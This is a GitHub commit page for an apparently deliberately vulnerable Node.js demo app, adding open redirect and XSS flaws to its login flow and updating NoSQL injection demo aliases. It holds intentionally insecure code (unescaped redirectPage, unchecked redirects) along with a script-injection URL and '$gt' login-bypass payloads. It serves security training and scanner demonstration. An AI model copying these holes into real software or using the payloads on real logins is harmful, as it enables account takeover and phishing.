Skip to content

Commit 6fa7510

Browse files
authored
feat: add open redirect and xss vulns in code (#960)
1 parent c9d461e commit 6fa7510

File tree

7 files changed

+119
-20
lines changed

7 files changed

+119
-20
lines changed

README.md

Lines changed: 31 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,15 +42,44 @@ npm run cleanup
4242

4343
## Exploiting the vulnerabilities
4444

45-
This app uses npm dependencies holding known vulnerabilities.
45+
This app uses npm dependencies holding known vulnerabilities,
46+
as well as insecure code that introduces code-level vulnerabilities.
47+
48+
The `exploits/` directory includes a series of steps to demonstrate each one.
49+
50+
### Vulnerabilities in open source dependencies
4651

4752
Here are the exploitable vulnerable packages:
4853
- [Mongoose - Buffer Memory Exposure](https://snyk.io/vuln/npm:mongoose:20160116) - requires a version <= Node.js 8. For the exploit demo purposes, one can update the Dockerfile `node` base image to use `FROM node:6-stretch`.
4954
- [st - Directory Traversal](https://snyk.io/vuln/npm:st:20140206)
5055
- [ms - ReDoS](https://snyk.io/vuln/npm:ms:20151024)
5156
- [marked - XSS](https://snyk.io/vuln/npm:marked:20150520)
5257

53-
The `exploits/` directory includes a series of steps to demonstrate each one.
58+
### Vulnerabilities in code
59+
60+
* Open Redirect
61+
* NoSQL Injection
62+
* Command execution
63+
* Cross-site Scripting (XSS)
64+
* Security misconfiguration exposes server information
65+
* Insecure protocol (HTTP) communication
66+
67+
#### Open redirect
68+
69+
The `/admin` view introduces a `redirectPage` query path, as follows in the admin view:
70+
71+
```
72+
<input type="hidden" name="redirectPage" value="<%- redirectPage %>" />
73+
```
74+
75+
One fault here is that the `redirectPage` is rendered as raw HTML and not properly escaped, because it uses `<%- >` instead of `<%= >`. That itself, introduces a Cross-site Scripting (XSS) vulnerability via:
76+
77+
```
78+
http://localhost:3001/login?redirectPage="><script>alert(1)</script>
79+
```
80+
81+
To exploit the open redirect, simply provide a URL such as `redirectPage=https://google.com` which exploits the fact that the code doesn't enforce local URLs in `index.js:72`.
82+
5483

5584
## Docker Image Scanning
5685

app.js

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,8 +45,10 @@ app.use(fileUpload());
4545
// Routes
4646
app.use(routes.current_user);
4747
app.get('/', routes.index);
48+
app.get('/login', routes.login);
49+
app.post('/login', routes.loginHandler);
4850
app.get('/admin', routes.admin);
49-
app.post('/admin', routes.admin);
51+
app.get('/account_details', routes.account_details);
5052
app.post('/create', routes.create);
5153
app.get('/destroy/:id', routes.destroy);
5254
app.get('/edit/:id', routes.edit);

exploits/nosql-exploits.sh

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,17 +4,17 @@ if [ -z "$GOOF_HOST" ]; then
44
fi
55

66
# Default working case - form fill
7-
alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/admin -v"
7+
alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/login -v"
88

99
# JSON working login
10-
alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/admin -v'
10+
alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/login -v'
1111

1212
# failed login
13-
alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/admin -v'
13+
alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/login -v'
1414

1515
# successful login, NOSQL Injection, knowing the username
16-
alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/admin -v'
16+
alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'
1717

1818
# successful login, NOSQL Injection, without knowing the username
19-
alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/admin -v'
19+
alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'
2020

routes/index.js

Lines changed: 34 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -33,25 +33,48 @@ exports.index = function (req, res, next) {
3333
});
3434
};
3535

36-
37-
exports.admin = function (req, res, next) {
38-
console.log(req.body);
36+
exports.loginHandler = function (req, res, next) {
3937
User.find({ username: req.body.username, password: req.body.password }, function (err, users) {
4038
if (users.length > 0) {
41-
return res.render('admin', {
42-
title: 'Admin Access Granted',
43-
granted: true,
44-
});
39+
const redirectPage = req.body.redirectPage
40+
return adminLoginSuccess(redirectPage, res)
4541
} else {
46-
return res.render('admin', {
47-
title: 'Admin Access',
48-
granted: false,
49-
});
42+
return res.redirect('/admin')
5043
}
5144
});
45+
};
5246

47+
exports.login = function (req, res, next) {
48+
return res.render('admin', {
49+
title: 'Admin Access',
50+
granted: false,
51+
redirectPage: req.query.redirectPage
52+
});
5353
};
5454

55+
exports.admin = function (req, res, next) {
56+
return res.render('admin', {
57+
title: 'Admin Access Granted',
58+
granted: true,
59+
});
60+
};
61+
62+
exports.account_details = function (req, res, next) {
63+
return res.render('account_details', {
64+
title: 'Account details',
65+
granted: true,
66+
});
67+
};
68+
69+
function adminLoginSuccess(redirectPage, res) {
70+
console.log({redirectPage})
71+
if (redirectPage) {
72+
return res.redirect(redirectPage)
73+
} else {
74+
return res.redirect('/admin')
75+
}
76+
}
77+
5578
function parse(todo) {
5679
var t = todo;
5780

service/adminService.js

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
// @TODO use this adminService file once Snyk Code for VSCode
2+
// is able to navigate to cross-file paths in the vuln description
3+
/**
4+
module.exports.adminLoginSuccess = function(redirectPage, res) {
5+
console.log({redirectPage})
6+
if (redirectPage) {
7+
return res.redirect(redirectPage)
8+
} else {
9+
return res.redirect('/admin')
10+
}
11+
}
12+
*/

views/account_details.ejs

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
<% layout( 'layout' ) -%>
2+
<style>
3+
strong {font-weight: bold}
4+
</style>
5+
<h1 id="page-title"><%= title %></h1>
6+
7+
<div id="list">
8+
<form action="/" method="get" accept-charset="utf-8">
9+
<div class="item-new">
10+
<center>First name</center>
11+
<input class="input" type="text" name="firstname" value="admin" />
12+
<br/>
13+
14+
<center>Last name</center>
15+
<input class="input" type="text" name="firstname" value="baba" />
16+
<br/>
17+
18+
<center>Country</center>
19+
<input class="input" type="text" name="firstname" value="Israel" />
20+
<br/>
21+
22+
<center>Phone number</center>
23+
<input class="input" type="text" name="firstname" value="972-412-312-444" />
24+
<br/>
25+
26+
<center>Email</center>
27+
<input class="input" type="text" name="firstname" value="[email protected]" />
28+
<br/>
29+
30+
</div>
31+
</form>
32+
</div>

views/admin.ejs

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ strong {font-weight: bold}
55
<h1 id="page-title"><%= title %></h1>
66

77
<div id="list">
8-
<form action="/admin" method="post" accept-charset="utf-8">
8+
<form action="/login" method="post" accept-charset="utf-8">
99
<% if( granted == false ){ %>
1010
<div class="item-new">
1111
<center>username</center>
@@ -14,6 +14,7 @@ strong {font-weight: bold}
1414
<center>password</center>
1515
<input class="input" type="password" name="password" />
1616
<center>
17+
<input type="hidden" name="redirectPage" value="<%- redirectPage %>" />
1718
<input type="submit">
1819
</center>
1920
</div>

0 commit comments

Comments
 (0)